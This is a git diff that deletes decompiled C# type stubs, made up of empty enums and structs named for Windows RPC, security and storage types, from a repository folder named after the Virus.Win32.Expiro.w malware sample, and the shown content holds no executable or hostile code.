516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _RPC_HTTP_REDIRECTOR_STAGE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_RPC_NOTIFICATION_TYPES.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_RPC_NOTIFICATION_TYPES.cs deleted file mode 100644 index 4c28ad22..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_RPC_NOTIFICATION_TYPES.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _RPC_NOTIFICATION_TYPES -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _RPC_NOTIFICATION_TYPES -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_RPC_REQUEST.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_RPC_REQUEST.cs deleted file mode 100644 index d7b93123..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_RPC_REQUEST.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _RPC_REQUEST -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 12)] -internal struct _RPC_REQUEST -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_RPC_RESPONSE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_RPC_RESPONSE.cs deleted file mode 100644 index cf08ce6b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_RPC_RESPONSE.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _RPC_RESPONSE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 8)] -internal struct _RPC_RESPONSE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SASL_AUTHZID_STATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SASL_AUTHZID_STATE.cs deleted file mode 100644 index 359b073a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SASL_AUTHZID_STATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SASL_AUTHZID_STATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _SASL_AUTHZID_STATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SC_ACTION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SC_ACTION_TYPE.cs deleted file mode 100644 index 527178db..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SC_ACTION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SC_ACTION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _SC_ACTION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SC_ENUM_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SC_ENUM_TYPE.cs deleted file mode 100644 index 2def5f36..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SC_ENUM_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SC_ENUM_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _SC_ENUM_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SC_STATUS_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SC_STATUS_TYPE.cs deleted file mode 100644 index 48a35a03..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SC_STATUS_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SC_STATUS_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _SC_STATUS_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SECURITY_ATTRIBUTES.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SECURITY_ATTRIBUTES.cs deleted file mode 100644 index 1fccd848..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SECURITY_ATTRIBUTES.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SECURITY_ATTRIBUTES -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 12)] -internal struct _SECURITY_ATTRIBUTES -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SECURITY_IMPERSONATION_LEVEL.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SECURITY_IMPERSONATION_LEVEL.cs deleted file mode 100644 index f654441c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SECURITY_IMPERSONATION_LEVEL.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SECURITY_IMPERSONATION_LEVEL -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _SECURITY_IMPERSONATION_LEVEL -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SECURITY_LOGON_SESSION_DATA.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SECURITY_LOGON_SESSION_DATA.cs deleted file mode 100644 index e19bddf5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SECURITY_LOGON_SESSION_DATA.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SECURITY_LOGON_SESSION_DATA -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 80)] -internal struct _SECURITY_LOGON_SESSION_DATA -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SECURITY_LOGON_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SECURITY_LOGON_TYPE.cs deleted file mode 100644 index 7009e32d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SECURITY_LOGON_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SECURITY_LOGON_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _SECURITY_LOGON_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SETTINGSTATUS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SETTINGSTATUS.cs deleted file mode 100644 index ff8b5d30..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SETTINGSTATUS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SETTINGSTATUS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _SETTINGSTATUS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SE_ADT_PARAMETER_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SE_ADT_PARAMETER_TYPE.cs deleted file mode 100644 index 88f8677e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SE_ADT_PARAMETER_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SE_ADT_PARAMETER_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _SE_ADT_PARAMETER_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SE_OBJECT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SE_OBJECT_TYPE.cs deleted file mode 100644 index bf027ef4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SE_OBJECT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SE_OBJECT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _SE_OBJECT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SID_NAME_USE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SID_NAME_USE.cs deleted file mode 100644 index 9bc5909a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SID_NAME_USE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SID_NAME_USE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _SID_NAME_USE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SPACTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SPACTION.cs deleted file mode 100644 index 2eab377d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SPACTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SPACTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _SPACTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SPTEXT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SPTEXT.cs deleted file mode 100644 index 981c009a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_SPTEXT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SPTEXT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _SPTEXT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_ASSOCIATION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_ASSOCIATION_TYPE.cs deleted file mode 100644 index e44e731b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_ASSOCIATION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_ASSOCIATION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _STORAGE_ASSOCIATION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_BUS_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_BUS_TYPE.cs deleted file mode 100644 index f28127d2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_BUS_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_BUS_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _STORAGE_BUS_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_IDENTIFIER_CODE_SET.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_IDENTIFIER_CODE_SET.cs deleted file mode 100644 index 783b3498..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_IDENTIFIER_CODE_SET.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_IDENTIFIER_CODE_SET -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _STORAGE_IDENTIFIER_CODE_SET -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_IDENTIFIER_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_IDENTIFIER_TYPE.cs deleted file mode 100644 index 71da1293..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_IDENTIFIER_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_IDENTIFIER_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _STORAGE_IDENTIFIER_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_ID_NAA_FORMAT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_ID_NAA_FORMAT.cs deleted file mode 100644 index 1cf2ac6e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_ID_NAA_FORMAT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_ID_NAA_FORMAT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _STORAGE_ID_NAA_FORMAT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_MEDIA_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_MEDIA_TYPE.cs deleted file mode 100644 index d9a7b395..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_MEDIA_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STORAGE_MEDIA_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _STORAGE_MEDIA_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_STORAGE_PORT_CODE_SET.cs 